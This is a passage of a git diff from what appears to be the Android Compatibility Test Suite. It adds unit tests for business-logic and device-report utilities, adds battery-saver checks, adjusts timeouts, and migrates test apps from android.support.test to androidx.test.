+ public void method3(String arg1, Context arg2) {
+ mInvoked = METHOD_3;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ // Same as method3, but flipped args
+ public void method4(Context arg1, String arg2) {
+ mInvoked = METHOD_4;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public void method5(String... args) {
+ mInvoked = METHOD_5;
+ mArgsUsed = args;
+ }
+
+ public void method6(String arg1, String... moreArgs) {
+ mInvoked = METHOD_6;
+ List<String> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new String[0]);
+ }
+
+ public void method7(String arg1, Context arg2, String... moreArgs) {
+ mInvoked = METHOD_7;
+ List<Object> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.add(arg2);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new Object[0]);
+ }
+
+ public void method8(String arg1, Integer arg2) {
+ // This method should never be successfully invoked, since Integer parameter types are
+ // unsupported for the BusinessLogic service
+ }
+
+ // throw AssertionFailedError
+ @Ignore
+ public void method9() throws AssertionFailedError {
+ assertTrue(false);
+ }
+
+ // throw AssumptionViolatedException
+ public void method10() throws AssumptionViolatedException {
+ assumeTrue(false);
+ }
+
+ public static class OtherClass {
+
+ public static String otherInvoked = null;
+
+ public void method1() {
+ otherInvoked = OTHER_METHOD_1;
+ }
+ }
+}
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
new file mode 100644
index 0000000..0e779e3
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Tests for {@line BusinessLogicTestCase}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicTestCaseTest {
+
+ private static final String KEY_1 = "key1";
+ private static final String KEY_2 = "key2";
+ private static final String VALUE_1 = "value1";
+ private static final String VALUE_2 = "value2";
+
+ DummyTest mDummyTest;
+ DummyTest mOtherDummyTest;
+
+ @Before
+ public void setUp() {
+ mDummyTest = new DummyTest();
+ mOtherDummyTest = new DummyTest();
+ }
+
+ @Test
+ public void testMapPut() throws Exception {
+ mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
+ assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
+ assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
+ assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
+ }
+
+ @Test
+ public void testStaticMapPut() throws Exception {
+ mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
+ assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
+ assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
+ assertTrue("mapPut on static map should affect all instances",
+ mOtherDummyTest.staticMap.containsKey(KEY_2));
+ }
+
+ public static class DummyTest extends BusinessLogicTestCase {
+ public Map<String, String> instanceMap = new HashMap<>();
+ public static Map<String, String> staticMap = new HashMap<>();
+ }
+}
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/DeviceReportTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
new file mode 100644
index 0000000..ab42b32
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Bundle;
+import android.os.Environment;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.lang.StringBuilder;
+
+import junit.framework.TestCase;
+
+import org.json.JSONObject;
+
+/**
+ * Tests for {@line DeviceReportLog}.
+ */
+public class DeviceReportTest extends TestCase {
+
+ /**
+ * A stub of {@link Instrumentation}
+ */
+ public class TestInstrumentation extends Instrumentation {
+
+ private int mResultCode = -1;
+ private Bundle mResults = null;
+
+ @Override
+ public void sendStatus(int resultCode, Bundle results) {
+ mResultCode = resultCode;
+ mResults = results;
+ }
+ }
+
+ private static final int RESULT_CODE = 2;
+ private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
+ private static final String TEST_MESSAGE_1 = "Foo";
+ private static final double TEST_VALUE_1 = 3;
+ private static final ResultType TEST_TYPE_1 = ResultType.HIGHER_BETTER;
+ private static final ResultUnit TEST_UNIT_1 = ResultUnit.SCORE;
+ private static final String TEST_MESSAGE_2 = "Bar";
+ private static final double TEST_VALUE_2 = 5;
+ private static final ResultType TEST_TYPE_2 = ResultType.LOWER_BETTER;
+ private static final ResultUnit TEST_UNIT_2 = ResultUnit.COUNT;
+ private static final String TEST_MESSAGE_3 = "Sample";
+ private static final double TEST_VALUE_3 = 7;
+ private static final ResultType TEST_TYPE_3 = ResultType.LOWER_BETTER;
+ private static final ResultUnit TEST_UNIT_3 = ResultUnit.COUNT;
+ private static final String TEST_MESSAGE_4 = "Message";
+ private static final double TEST_VALUE_4 = 9;
+ private static final ResultType TEST_TYPE_4 = ResultType.LOWER_BETTER;
+ private static final ResultUnit TEST_UNIT_4 = ResultUnit.COUNT;
+ private static final String REPORT_NAME_1 = "TestReport1";
+ private static final String REPORT_NAME_2 = "TestReport2";
+ private static final String STREAM_NAME_1 = "SampleStream1";
+ private static final String STREAM_NAME_2 = "SampleStream2";
+ private static final String STREAM_NAME_3 = "SampleStream3";
+ private static final String STREAM_NAME_4 = "SampleStream4";
+
+ public void testSubmit() throws Exception {
+ DeviceReportLog log = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
+ log.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
+ log.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
+ TestInstrumentation inst = new TestInstrumentation();
+ log.submit(inst);
+ assertEquals("Incorrect result code", RESULT_CODE, inst.mResultCode);
+ assertNotNull("Bundle missing", inst.mResults);
+ String metrics = inst.mResults.getString(RESULT_KEY);
+ assertNotNull("Metrics missing", metrics);
+ ReportLog result = ReportLog.parse(metrics);
+ assertNotNull("Metrics could not be decoded", result);
+ }
+
+ public void testFile() throws Exception {
+ assertTrue("External storage is not mounted",
+ Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED));
+ final File dir = new File(Environment.getExternalStorageDirectory(), "report-log-files");
+ assertTrue("Report Log directory missing", dir.isDirectory() || dir.mkdirs());
+
+ // Remove files from earlier possible runs.
+ File[] files = dir.listFiles();
+ for (File file : files) {
+ file.delete();
+ }
+
+ TestInstrumentation inst = new TestInstrumentation();
+
+ DeviceReportLog log1 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
+ log1.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
+ log1.setSummary(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
+ log1.submit(inst);
+
+ DeviceReportLog log2 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_2);
+ log2.addValue(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
+ log2.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
+ log2.submit(inst);
+
+ DeviceReportLog log3 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_3);
+ log3.addValue(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
+ log3.setSummary(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
+ log3.submit(inst);
+
+ DeviceReportLog log4 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_4);
+ log4.addValue(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
+ log4.setSummary(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
+ log4.submit(inst);
+
+ File jsonFile1 = new File(dir, REPORT_NAME_1 + ".reportlog.json");
+ File jsonFile2 = new File(dir, REPORT_NAME_2 + ".reportlog.json");
+ assertTrue("Report Log missing", jsonFile1.exists());
+ assertTrue("Report Log missing", jsonFile2.exists());
+
+ BufferedReader jsonReader = new BufferedReader(new FileReader(jsonFile1));
+ StringBuilder metricsBuilder = new StringBuilder();
+ String line;
+ while ((line = jsonReader.readLine()) != null) {
+ metricsBuilder.append(line);
+ }
+ String metrics = metricsBuilder.toString().trim();
+ JSONObject jsonObject = new JSONObject(metrics);
+ assertTrue("Incorrect metrics",
+ jsonObject.getJSONObject(STREAM_NAME_1).getDouble(TEST_MESSAGE_1) == TEST_VALUE_1);
+ assertTrue("Incorrect metrics",
+ jsonObject.getJSONObject(STREAM_NAME_2).getDouble(TEST_MESSAGE_2) == TEST_VALUE_2);
+
+ jsonReader = new BufferedReader(new FileReader(jsonFile2));
+ metricsBuilder = new StringBuilder();
+ while ((line = jsonReader.readLine()) != null) {
+ metricsBuilder.append(line);
+ }
+ metrics = metricsBuilder.toString().trim();
+ jsonObject = new JSONObject(metrics);
+ assertTrue("Incorrect metrics",
+ jsonObject.getJSONObject(STREAM_NAME_3).getDouble(TEST_MESSAGE_3) == TEST_VALUE_3);
+ assertTrue("Incorrect metrics",
+ jsonObject.getJSONObject(STREAM_NAME_4).getDouble(TEST_MESSAGE_4) == TEST_VALUE_4);
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
index 792db40..ba357a16 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -18,12 +18,15 @@
import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
import static com.android.compatibility.common.util.TestUtils.waitUntil;
+import android.content.pm.PackageManager;
import android.os.BatteryManager;
import android.os.PowerManager;
import android.provider.Settings.Global;
import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import org.junit.Assume;
+
public class BatteryUtils {
private static final String TAG = "CtsBatteryUtils";
@@ -103,4 +106,15 @@
AmUtils.waitForBroadcastIdle();
Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
}
+
+ /** @return true if the device supports battery saver. */
+ public static boolean isBatterySaverSupported() {
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
+ /** "Assume" the current device supports battery saver. */
+ public static void assumeBatterySaverFeature() {
+ Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
+ }
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
old mode 100644
new mode 100755
index 301a626..c26ddd0
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -43,7 +43,7 @@
public class BlockingBroadcastReceiver extends BroadcastReceiver {
private static final String TAG = "BlockingBroadcast";
- private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+ private static final int DEFAULT_TIMEOUT_SECONDS = 30;
private final BlockingQueue<Intent> mBlockingQueue;
private final String mExpectedAction;
@@ -68,7 +68,7 @@
/**
* Wait until the broadcast and return the received broadcast intent. {@code null} is returned
- * if no broadcast with expected action is received within 10 seconds.
+ * if no broadcast with expected action is received within 30 seconds.
*/
public @Nullable Intent awaitForBroadcast() {
try {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 29607c3..b0c1dbb 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -19,19 +19,17 @@
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeTrue;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.rules.TestName;
-
import android.app.Instrumentation;
import android.content.Context;
import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import java.lang.reflect.Field;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
import java.io.File;
-import java.util.List;
+import java.lang.reflect.Field;
import java.util.Map;
/**
@@ -51,7 +49,6 @@
@Before
public void handleBusinessLogic() {
loadBusinessLogic();
- ensureAuthenticated();
executeBusinessLogic();
}
@@ -80,27 +77,6 @@
}
}
- protected void ensureAuthenticated() {
- if (!mCanReadBusinessLogic) {
- // super class handles the condition that the service is unavailable.
- return;
- }
-
- if (!mBusinessLogic.mConditionalTestsEnabled) {
- skipTest("Execution of device specific tests is not enabled. "
- + "Enable with '--conditional-business-logic-tests-enabled'");
- }
-
- if (mBusinessLogic.isAuthorized()) {
- // Run test as normal.
- return;
- }
- String message = mBusinessLogic.getAuthenticationStatusMessage();
-
- // Fail test since request was not authorized.
- failTest(String.format("Unable to execute because %s.", message));
- }
-
protected static Instrumentation getInstrumentation() {
return InstrumentationRegistry.getInstrumentation();
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index b98acee..c95b8df 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -53,12 +53,6 @@
return propertyEquals(BUILD_TYPE_PROPERTY, "user");
}
- /** Returns whether the device build is the factory ROM */
- public static boolean isFactoryROM() {
- // property should be undefined if and only if the product is factory ROM.
- return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
- }
-
/** Returns whether this build is built with dev-keys */
public static boolean isDevKeysBuild() {
for (String tag : Build.TAGS.split(",")) {
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index 9dd8d1f..d6016dd 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -28,8 +28,8 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
LOCAL_JNI_SHARED_LIBRARIES := libctsabioverride
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 28061f6..88c82f7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -17,6 +17,7 @@
package android.appsecurity.cts;
import android.platform.test.annotations.AppModeFull;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
@@ -40,7 +41,7 @@
@AppModeFull // TODO: Needs porting to instant
public class KeySetHostTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
/* package with device-side tests */
private static final String KEYSET_TEST_PKG = "com.android.cts.keysets.testapp";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index c63720f..4601309 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -64,7 +64,7 @@
testClassName = packageName + testClassName;
}
RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
- "android.support.test.runner.AndroidJUnitRunner", device.getIDevice());
+ "androidx.test.runner.AndroidJUnitRunner", device.getIDevice());
// timeout_msec is the timeout per test for instrumentation
testRunner.addInstrumentationArg("timeout_msec", Long.toString(unit.toMillis(timeout)));
if (testClassName != null && testMethodName != null) {
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
index bfb88f0..190dd07 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
index 6976c56..8587474 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
@@ -22,7 +22,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.cts" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
index 4bdb346..dd893aa 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
@@ -20,8 +20,8 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test \
+ compatibility-device-util-axt \
+ androidx.test.rules \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
index 2eb5777..eef7a8f 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
@@ -26,7 +26,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.cts" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
index acbb30c..47832cf 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
@@ -20,7 +20,8 @@
import static junit.framework.Assert.fail;
import android.os.Build;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import org.junit.Test;
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 615492c..b55656e 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index 6a846fc..d47b4bd 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -28,7 +28,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.appaccessdata"
android:label="Test to create app data."/>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index c719665..2966c48 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index 2accec1..cf9d404 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -33,7 +33,7 @@
android:exported="true" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.appwithdata"
android:label="Test to create app data."/>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
index 0668860..d70de42 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test
+ androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
index d9a1f36..b95ae26 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.applicationvisibility"
android:label="Test to check application visibility for an app with cross user permission."/>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
index 1737817..84dfad9 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
@@ -15,17 +15,19 @@
*/
package com.android.cts.applicationvisibility;
+import static android.content.pm.PackageManager.MATCH_KNOWN_PACKAGES;
+
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import static android.content.pm.PackageManager.MATCH_KNOWN_PACKAGES;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
index 1adf0f8..761fce8 100644
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
@@ -23,7 +23,7 @@
LOCAL_SDK_VERSION := current
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
index 05f4573..2383f0b 100644
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
@@ -36,7 +36,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.classloadersplitapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
index 54482a8..cbe3338 100644
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
@@ -24,12 +24,11 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.res.Configuration;
-import android.content.res.Resources;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
@@ -38,7 +37,6 @@
import org.junit.runner.RunWith;
import org.junit.runners.model.Statement;
-import java.util.Locale;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index ad50a57..04e1870 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml
index 0064e15..c90a6f6 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml
@@ -21,6 +21,6 @@
<activity android:name=".MyActivity" />
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
